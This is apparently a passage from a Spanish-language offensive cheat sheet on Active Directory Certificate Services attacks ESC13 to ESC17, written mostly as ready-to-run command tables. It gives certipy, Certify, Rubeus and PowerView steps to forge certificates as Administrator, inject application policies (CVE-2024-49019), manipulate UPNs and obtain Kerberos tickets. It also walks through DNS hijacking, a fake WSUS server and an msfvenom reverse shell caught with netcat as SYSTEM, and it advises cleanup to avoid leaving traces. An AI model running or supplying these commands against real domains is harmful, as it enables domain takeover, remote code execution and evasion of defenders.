msDS-OIDToGroupLink. Cuando un usuario solicita un certificado de esa plantilla y el certificado permite Client Authentication, el sistema autoriza al usuario como si fuera miembro del grupo vinculado. El grupo debe ser vacío y tener ámbito Universal (Forest Wide). Los grupos por defecto que cumplen son: Enterprise Admins, Schema Admins, Enterprise Key Admins y Enterprise Read-only Domain Controllers.
Requisitos ➔
Template con msPKI-Certificate-Policy no vacía +
msDS-OIDToGroupLink apunta a grupo privilegiado (Universal + vacío) +
El atacante tiene Enrollment Rights sobre el template +
Template permite Client Authentication EKU
Enumeración (Linux/Windows)
↗ Check-ADCSESC13.ps1
| Comando | Descripción |
|---|---|
| . .\Check-ADCSESC13.ps1 | Detecta OIDs con msDS-OIDToGroupLink y templates vulnerables |
PS > Get-ADObject "CN=| Verificar política de emisión de un template concreto | |
PS >Get-ADObject "CN=| Verificar a qué grupo apunta el OID | |
| certipy-ad find -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -stdout -vulnerable | Detecta ESC13 cuando un template permite enrollment, tiene Client Authentication EKU y la política de emisión apunta a un grupo |
Certipy / Certify
| Comando | Descripción |
|---|---|
| certipy-ad req -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -target 'CA_HOST' -ca 'CA_NAME' -template 'VulnerableTemplate' -key-size 4096 | Solicitar certificado del template vulnerable → se obtiene user.pfx |
| certipy-ad auth -pfx user.pfx -domain domain.htb -dc-ip 10.10.10.10 | Autenticar con el certificado — el usuario hereda los privilegios del grupo vinculado |
| .\Certify.exe request /ca:domain\CA_NAME /template:"VulnerableTemplate" | Solicitar certificado del template vulnerable (devuelve PEM -> pasa a PFX con openssl):openssl pkcs12 -export -out esc13.pfx -in esc13.pem |
| .\Rubeus.exe asktgt /user:usuario /certificate:esc13.pfx /nowrap | Autenticar con el certificado — el usuario hereda los privilegios del grupo vinculado |
ESC14
Certificate Mapping Abuse — altSecurityIdentities
Vulnerabilidad en AD CS cuando el mapeo explícito de certificados está mal configurado. Existen cuatro escenarios que permiten a un atacante con una cuenta víctima (con capacidad de solicitar certificados) suplantar a una cuenta objetivo aprovechando atributos modificables (
altSecurityIdentities, mail, cn, dNSHostName). Los escenarios son:
- A: El atacante tiene escritura en altSecurityIdentities del objetivo — añade mapeo X509IssuerSerialNumber apuntando a certificado de la víctima.
- B: El objetivo tiene un mapeo X509RFC822 débil — el atacante modifica el
mailde la víctima para que coincida y solicita certificado con email en SAN. - C: El objetivo tiene un mapeo X509IssuerSubject débil — el atacante modifica el
cn(usuario) odNSHostName(máquina) de la víctima para que coincida con el subject. - D: El objetivo tiene un mapeo X509SubjectOnly débil — el atacante modifica
cnodNSHostNamede la víctima para que coincida con el subject.
Requisitos ➔
Permiso de enroll en plantilla válida +
Control sobre objeto víctima (WriteProperty / GenericWrite) +
Plantilla con Client Authentication
Enumeración ESC14 (Windows)
↗ PowerView / AD Module
| Comando | Descripción |
|---|---|
| Get-ACL "AD:\CN=TARGET,CN=Users,DC=domain,DC=local" | Buscar WriteProperty sobre altSecurityIdentities (ESC14A) |
| Get-ObjectAcl -Identity TARGET -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteProperty"} | Identificar ACEs que permitan modificar mapping (ESC14A) |
| Get-ADUser victim -Properties mail | Select mail | Comprobar atributo mail (ESC14B - X509RFC822) |
| Get-ADUser target -Properties altSecurityIdentities | Verificar si existe mapping RFC822 en el objetivo |
| Get-ADUser victim -Properties cn,name | Comprobar CN del usuario (ESC14C) |
| Get-ADComputer victim -Properties dNSHostName | Comprobar hostname de máquina (ESC14C/D) |
| Get-ADComputer target -Properties altSecurityIdentities | Detectar mapping X509SubjectOnly (ESC14D) |
Enumeración ESC14 (Linux / bloodyAD)
↗ bloodyAD
| Comando | Descripción |
|---|---|
| bloodyAD -u user@domain -p pass -d domain.local get object TARGET --attr altSecurityIdentities | Identificar si el objetivo tiene mapeos explícitos (ESC14A) |
| bloodyAD -u user@domain -p pass -d domain.local get acl TARGET | Buscar permisos WriteProperty sobre altSecurityIdentities |
| bloodyAD get object victim --attr mail | Comprobar mail para X509RFC822 (ESC14B) |
| bloodyAD get object victim --attr cn | Verificar CN del usuario (ESC14C) |
| bloodyAD get object victim --attr dNSHostName | Verificar hostname de máquina (ESC14C/D) |
| bloodyAD get object target --attr altSecurityIdentities | Detectar mapping X509SubjectOnly (ESC14D) |
ESC14 A — altSecurityIdentities Write
| Comando | Descripción |
|---|---|
| certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE | Obtener certificado de la víctima |
| openssl x509 -in victim.crt -noout -text | Extraer Issuer y Serial Number |
| X509:<I>ISSUER_DN<SR>SERIAL | Formato para altSecurityIdentities (IssuerSerialNumber) |
| ldapmodify -x -D "DOMAIN\user" -W | Insertar mapping en altSecurityIdentities del objetivo |
| certipy-ad auth -pfx victim.pfx -domain domain | Autenticarse como el objetivo |
ESC14 B — X509RFC822 (mail spoofing)
| Comando | Descripción |
|---|---|
| Set-ADUser victim -Replace @{mail="admin@domain.local"} | Modificar mail de la víctima |
| certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE_EMAIL | Solicitar certificado con SAN email |
| certipy-ad auth -pfx victim.pfx -domain domain | Autenticarse como objetivo |
ESC14 C — X509IssuerSubject
| Comando | Descripción |
|---|---|
| Set-ADUser victim -Replace @{cn="Administrator"} | Modificar CN de la víctima |
| certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE | Solicitar certificado con CN modificado |
| certipy-ad auth -pfx victim.pfx -domain domain | Autenticarse como objetivo |
ESC14 D — X509SubjectOnly
| Comando | Descripción |
|---|---|
| Set-ADComputer victim -Replace @{dNSHostName="dc.domain.local"} | Modificar hostname de la máquina víctima |
| certipy-ad req -u victim@domain -p pass -ca CA_NAME -template TEMPLATE | Solicitar certificado |
| certipy-ad auth -pfx victim.pfx -domain domain | Autenticarse como objetivo |
ESC15
EKUwu — Inyección Arbitraria de Application Policy en Plantillas V1 (CVE-2024-49019)
Las plantillas de schema versión 1 (V1) no validan las Application Policies que el solicitante incluye en el CSR. Un atacante con permisos de Enroll puede inyectar OIDs arbitrarios (p.ej.
A diferencia de ESC1, ESC15 ocurre cuando la plantilla no incluye el EKU de Client Authentication (
Escenario A: Inyectar
Escenario B: Inyectar
Client Authentication o Certificate Request Agent) en la extensión Application Policy del certificado emitido. Como Windows da prioridad a esa extensión sobre el EKU real de la plantilla, el certificado resultante puede usarse para autenticación de cliente o como Enrollment Agent, aunque la plantilla sea solo WebServer.
A diferencia de ESC1, ESC15 ocurre cuando la plantilla no incluye el EKU de Client Authentication (
Client Authentication: False), lo que habilita el abuso mediante Certificate Request Agent para solicitar certificados en nombre de otros usuarios. Puede verse como un ESC2 con más pasos.
Escenario A: Inyectar
Client Authentication → cert usable vía SChannel (LDAP shell). PKINIT normalmente falla.Escenario B: Inyectar
Certificate Request Agent → actuar como Enrollment Agent y derivar el ataque a ESC3 (on-behalf-of Administrator). Este es el camino que funciona en la práctica para obtener TGT.
Requisitos ➔
Plantilla Schema Version 1 +
EnrolleeSuppliesSubject = True +
Enroll rights para el usuario atacante +
CA sin parche CVE-2024-49019 +
Client Authentication EKU: False(escenario A) o True(escenario B) +
Manager Approval: False +
certipy ≥ 5.0.0 obligatorio
⚠ Detección: Certipy < 5.0.0 NO detecta ESC15. Requiere exactamente
certipy-ad ≥ 5.0.0 (o instalar desde el tag 5.0.3)
Certipy ≥ 5.0 — Detección
↗ TrustedSec EKUwu
| Comando | Descripción |
|---|---|
| certipy find -u 'cert_admin' -p 'Pass' -target 10.10.10.10 -vulnerable | Detecta ESC15 — aparece solo en certipy ≥ 5.0. Buscar en el output: Schema Version: 1 + Enrollee Supplies Subject: True + EKU sin Client Auth |
| certipy find -u 'cert_admin' -hashes :<NTLM_HASH> -target 10.10.10.10 -vulnerable | Igual con Pass-the-Hash — útil si se obtuvo el hash vía Shadow Credentials |
BloodHound — Query manual para ESC15
| Query Cypher | Descripción |
|---|---|
| MATCH q=(u)-[:Enroll]->(t:CertTemplate) WHERE t.schemaversion = 1 AND t.enrolleesuppliessubject = TRUE AND (u.admincount = FALSE OR u.admincount IS NULL) RETURN q | Identifica usuarios de bajo privilegio con Enroll sobre plantillas V1 con EnrolleeSuppliesSubject — los candidatos exactos para ESC15. Pegar en la consola de queries de BloodHound |
Escenario A: Client Authentication → SChannel (LDAP shell)
⚠ PKINIT fallará con este escenario (
Certificate is not valid for client authentication) porque el EKU real de la plantilla no lo permite. SChannel sí respeta la Application Policy inyectada.| Comando | Descripción |
|---|---|
| certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -upn 'Administrator@domain.htb' -application-policies 'Client Authentication' | [Linux] Solicita cert de plantilla WebServer inyectando Client Authentication (OID 1.3.6.1.5.5.7.3.2) en la Application Policy — la CA V1 lo copia sin validar |
| certipy req -u cert_admin -hashes :<NTLM_HASH> -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -upn 'Administrator@domain.htb' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication' | [Linux] Igual con PtH + -sid del Administrator para evitar Object SID mismatch |
| certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell | [Linux] Autenticar vía SChannel (LDAP/TLS) — da acceso a la LDAP shell como Administrator |
[Version]
Signature="$Windows NT$"
[NewRequest]
Subject = "CN=Administrator"
KeyLength = 2048
Exportable = TRUE
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
HashAlgorithm = sha256
RequestType = PKCS10
SMIME = FALSE
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=Administrator@domain.htb"
1.3.6.1.4.1.311.21.10 = "{text}"
_continue_ = "1.3.6.1.5.5.7.3.2" | [Windows — certreq] Crear esc15.inf — la extensión 1.3.6.1.4.1.311.21.10 es Application Policy. OID 1.3.6.1.5.5.7.3.2 = Client Authentication |
| certreq -new esc15.inf esc15.req | [Windows — certreq] Generar el CSR con la Application Policy inyectada |
| certreq -submit -config "<CAHostname>\<CAName>" esc15.req esc15.cer | [Windows — certreq] Enviar el CSR directamente a la CA |
| certreq -accept esc15.cer | [Windows — certreq] Importar el certificado — después exportar a .pfx para usar con Rubeus o certipy |
Import-Module PSCertificateEnrollment PS > $Csr = New-CertificateRequest -Upn "Administrator@domain.htb" -ApplicationPolicy ClientAuthentication PS > $Csr | Get-IssuedCertificate -ConfigString "CA-Host\CA-Name" -CertificateTemplate "WebServer" | [Windows — PowerShell] Alternativa con PSCertificateEnrollment — genera y envía el CSR con Application Policy maliciosa en un solo flujo. Más programable que certreq |
Escenario B: Certificate Request Agent → ESC3 on-behalf-of (PKINIT)
💡 Este es el camino que funciona con PKINIT/Kerberos. El cert de agente se usa para solicitar un cert de plantilla User en nombre del Administrator — ese sí tiene EKU real de Client Auth y permite obtener TGT.
| Comando | Descripción |
|---|---|
| certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -application-policies 'Certificate Request Agent' | [Linux — nombre] Obtener cert de agente inyectando Certificate Request Agent. No se especifica UPN aquí — el objetivo es el capability de agente |
| certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -application-policies '1.3.6.1.4.1.311.20.2.1' | [Linux — OID directo] Alternativa usando el OID directamente en lugar del nombre amigable. Mismo resultado |
| certipy req -u cert_admin -hashes :<NTLM_HASH> -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template WebServer -application-policies 'Certificate Request Agent' | [Linux] Igual con Pass-the-Hash si se obtuvo el hash vía Shadow Credentials |
| certipy req -u cert_admin -p 'Pass' -ca <CA_NAME> -dc-ip 10.10.10.10 -target dc.domain.htb -template User -pfx attacker.pfx -on-behalf-of 'DOMAIN\Administrator' | [Linux] Usar el cert de agente del paso anterior para solicitar un cert de plantilla User en nombre del Administrator — idéntico a ESC3 fase 2 |
| certipy auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip 10.10.10.10 | [Linux] PKINIT funciona aquí — el cert tiene EKU real de Client Auth porque viene de la plantilla User. Obtiene TGT |
| KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass dc.domain.htb | [Linux] Usar el TGT obtenido para ejecución remota en el DC |
ESC16
Security Extension deshabilitada en la CA + UPN Manipulation
La CA tiene la extensión de seguridad deshabilitada (
Escenario A (Compatibility mode):
Escenario B (Full enforcement):
OID 1.3.6.1.4.1.311.25.2 — szOID_NTDS_CA_SECURITY_EXT), lo que impide incrustar el SID del sujeto en el certificado. Esto ocurre cuando el OID está en el policy\DisableExtensionList de la CA, o cuando el parche KB5014754 (Mayo 2022) no está aplicado. La CA se comporta entonces como si todas sus plantillas fueran vulnerables a ESC9.
Escenario A (Compatibility mode):
StrongCertificateBindingEnforcement = 0 o 1 → el KDC solo verifica el UPN del SAN. Con GenericWrite sobre una cuenta víctima se manipula su UPN para obtener un cert que autentica como Administrator.Escenario B (Full enforcement):
StrongCertificateBindingEnforcement = 2 → el KDC verifica el SID de la security extension. Requiere que la CA sea también vulnerable a ESC6 para inyectar el SID directamente en el SAN del CSR.
Requisitos ➔
szOID_NTDS_CA_SECURITY_EXT en DisableExtensionList de la CA — o KB5014754 sin aplicar +
GenericWrite (o equivalente) sobre cuenta víctima +
certipy ≥ 5.0.2 where
Escenario A: StrongCertificateBindingEnforcement = 0 o 1 AND
Escenario B: StrongCertificateBindingEnforcement = 2 + CA vulnerable a ESC6
Escenario A — Compatibility mode (Linux) · StrongCertificateBindingEnforcement = 0 o 1
El KDC solo verifica el UPN del SAN. Basta con manipular el UPN de la víctima para que el cert emitido identifique al Administrator. No se necesita ESC6.
| Comando | Descripción |
|---|---|
| certipy-ad account -u 'attacker' -p 'Pass' -dc-ip 10.10.10.10 -upn 'administrator' -user 'victim' update | Sobrescribir el UPN de victim con el sAMAccountName del Administrator — a partir de aquí los certs de victim identifican al Admin |
| certipy-ad req -u 'victim@domain.htb' -hashes '<NT_HASH>' -ca CA_NAME -template User -dc-ip 10.10.10.10 | Solicitar cert como victim usando el hash — la CA omite la security extension y el cert lleva el UPN del Administrator |
| certipy-ad account -u 'attacker' -p 'Pass' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update | Restaurar UPN de victim — hacerlo siempre para no dejar rastros y para que no devuelva error, de lo contrario la CA verá dos usuarios con UPN administrator y denegará la autenticación de certificado |
| certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb' | Autenticación final como Administrator vía PKINIT — obtiene TGT |
Escenario A — Windows
| Comando | Descripción |
|---|---|
| Set-DomainObject victim -Set @{'userPrincipalName'='administrator'} -Verbose | Sobrescribir UPN de victim con el sAMAccountName del Administrator usando PowerView |
| Certify.exe request /ca:'domain\CA_NAME' /template:"User" | Solicitar cert como victim desde la plantilla User — la CA omite la security extension y el cert lleva el UPN del Administrator |
| Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -Verbose | Restaurar UPN de victim — hacerlo siempre para evitar errores |
| Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERT" /password:"CERT_PASSWORD" /domain:"DOMAIN" /dc:"DC01" /show | Autenticar como Administrator con el cert obtenido — obtiene TGT y credenciales |
Escenario B — Full enforcement (Linux) · StrongCertificateBindingEnforcement = 2 + ESC6
El KDC verifica el SID de la security extension. La CA debe ser vulnerable/habilitar a ESC6 para poder inyectar el SID del Administrator directamente en el SAN del CSR — no es necesario manipular el UPN de ninguna víctima.
| Comando | Descripción |
|---|---|
| certipy req -u 'attacker@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -target DC01.DOMAIN.HTB -ca CA_NAME -template User -upn 'administrator@domain.htb' -sid 'S-1-5-21-...-500' | Solicitar cert inyectando UPN + SID del Administrator en el SAN — posible porque ESC6 permite al solicitante especificar el SAN libremente. La CA omite la security extension por ESC16 |
| certipy auth -pfx administrator.pfx -username administrator -domain domain.htb -dc-ip 10.10.10.10 | Autenticar como Administrator vía PKINIT — el KDC acepta el SID inyectado al no haber security extension que lo contradiga |
| ./Certify.exe request /ca:SERVER\CA_NAME /template:User /altname:administrator /url:tag:microsoft.com,2007-09-14:sid:<ADMINISTRATOR_SID> | [Windows] Solicitar cert inyectando UPN y SID del Administrator en el SAN — Certify permite especificar el SID directamente en la URL del SAN gracias a ESC6 |
| Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERT" /password:"CERT_PASSWORD" /domain:"DOMAIN" /dc:"DC01" /show | [Windows] Autenticar como Administrator con el cert obtenido — el KDC acepta el SID inyectado al no haber security extension |
ESC17
ESC1 con Server Authentication EKU — WSUS Spoofing vía MitM
Variante de ESC1 donde la plantilla vulnerable tiene EKU de Server Authentication en lugar de Client Authentication. Esto impide impersonar usuarios directamente (no sirve para PKINIT), pero sí permite impersonar servidores — en concreto, un servidor WSUS. Si en el dominio existe un endpoint WSUS cuyo DNS puede ser creado o redirigido por el atacante, se puede obtener un certificado legítimo para ese hostname (
Campo abusado:
wsus.domain.htb) y levantar un servidor WSUS falso con TLS usando la herramienta wsuks. Los clientes Windows que consultan WSUS ejecutarán el payload entregado por el servidor falso como SYSTEM.
Campo abusado:
ENROLLEE_SUPPLIES_SUBJECT = True + EKU Server Authentication → cert para hostname arbitrario (wsus.domain.htb) → MitM TLS del tráfico WSUS
Requisitos ➔
EnrolleeSuppliesSubject = True +
EKU: Server Authentication (no Client Auth) +
Enrollment rights sobre la plantilla +
WSUS configurado en el dominio +
permisos para escribir/modificar DNS(krbrelayx dnstool)
⚠ Diferencia clave con ESC1 clásico: El EKU
Server Authentication NO permite autenticación Kerberos (PKINIT) ni SChannel de usuario. El cert solo sirve para TLS de servidor → único vector útil es impersonar el endpoint WSUS y entregar un payload a los clientes que lo consultan.
Confirmar WSUS en el dominio (pre-ataque)
| Comando | Descripción |
|---|---|
| nxc ldap <DC_IP> -u user -p 'Pass' -M wsus | Módulo NetExec para enumerar si WSUS está activo y qué endpoint usa — muestra el hostname configurado del servidor WSUS en el dominio |
| reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer | Desde una sesión en el cliente Windows: leer el registro para ver el servidor WSUS configurado — confirma el hostname exacto a suplantar |
| sudo poetry run wsuks -u user -p 'Pass' -d domain.htb --dc-ip <DC_IP> --dc-name dc.domain.htb -I tun0 --only-discover -k | Verificar que WSUS está activo en el dominio desde fuera — --only-discover no levanta servidor, solo confirma la presencia de WSUS y qué clientes lo consultan |
Certipy — Detección y solicitud del certificado
| Comando | Descripción |
|---|---|
| certipy find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdout | Detectar plantilla ESC17 — buscar template con Enrollee Supplies Subject: True y EKU Server Authentication (1.3.6.1.5.5.7.3.1) sin Client Auth. Los enrollment rights deben incluir al usuario comprometido |
| certipy req -u user@domain.htb -p 'Pass' -ca <CA_NAME> -template <TMPL> -dns 'wsus.domain.htb' -dc-ip 10.10.10.10 | Solicitar certificado para el hostname del servidor WSUS usando el SAN DNS (-dns) en lugar de -upn — genera wsus.pfx con Server Auth EKU para ese FQDN |
| certipy req -u user@domain.htb -hashes :<NTLM_HASH> -ca <CA_NAME> -template <TMPL> -dns 'wsus.domain.htb' -dc-ip 10.10.10.10 | Igual con Pass-the-Hash |
openssl — Convertir PFX a PEM para wsuks
| Comando | Descripción |
|---|---|
| openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes --passin pass: | Convierte el PFX generado por certipy a formato PEM (cert + clave privada en un solo archivo sin contraseña) — formato requerido por wsuks para levantar el servidor TLS falso |
dnstool.py (krbrelayx toolkit) — Añadir registro DNS
↗ krbrelayx
| Comando | Descripción |
|---|---|
| python3 dnstool.py -u 'domain.htb\user' -k -r 'wsus.domain.htb' -a add -d <ATTACKER_IP> dc.domain.htb -dns-ip <DC_IP> | Crear registro DNS wsus.domain.htb → ATTACKER_IP via LDAP autenticando con Kerberos (-k) — redirige el tráfico WSUS de los clientes hacia el servidor falso. Requiere permisos de escritura DNS (habitual para usuarios del dominio en configuración por defecto) |
| tcpdump -i tun0 icmp | Verificar que el registro DNS funciona — hacer ping a wsus.domain.htb desde otra máquina del dominio y comprobar que llega a la IP del atacante |
| python3 dnstool.py -u 'domain.htb\user' -k -r 'wsus.domain.htb' -a remove dc.domain.htb -dns-ip <DC_IP> | Eliminar el registro DNS tras la explotación — limpieza imprescindible para no dejar el DNS del dominio roto |
wsuks — Servidor WSUS falso con TLS
↗ NeffIsBack/wsuks
| Comando | Descripción |
|---|---|
| git clone https://github.com/NeffIsBack/wsuks pipx install --python python3 poetry sudo poetry install | Instalación de wsuks — usar poetry con Python3 explícito, de lo contrario falla con Python2. El directorio wsuks/executables/ incluye PsExec64.exe |
| sudo poetry run wsuks -u user -p 'Pass' -d domain.htb --dc-ip <DC_IP> --dc-name dc.domain.htb -I tun0 --only-discover -k | Verificar que WSUS está activo en el dominio desde fuera — --only-discover no levanta servidor, solo confirma la presencia de WSUS y qué clientes lo consultan |
| msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f exe -o rev.exe | Generar el payload que entregará el servidor WSUS falso — se ejecutará como NT AUTHORITY\SYSTEM en el cliente que consulte WSUS |
| sudo wsuks --serve-only --tls-cert ../wsus.pem --executable wsuks/executables/PsExec64.exe --command "-accepteula -s C:\temp\rev.exe" -t <DC_IP> -I tun0 | Levantar el servidor WSUS falso con TLS usando el PEM legítimo — cuando un cliente Windows consulte WSUS, recibirá PsExec64.exe + el comando que descarga y ejecuta el payload como SYSTEM |
| nc -lvnp <PORT> | Listener para recibir la reverse shell como NT AUTHORITY\SYSTEM cuando el cliente Windows ejecute el payload entregado por el servidor WSUS falso |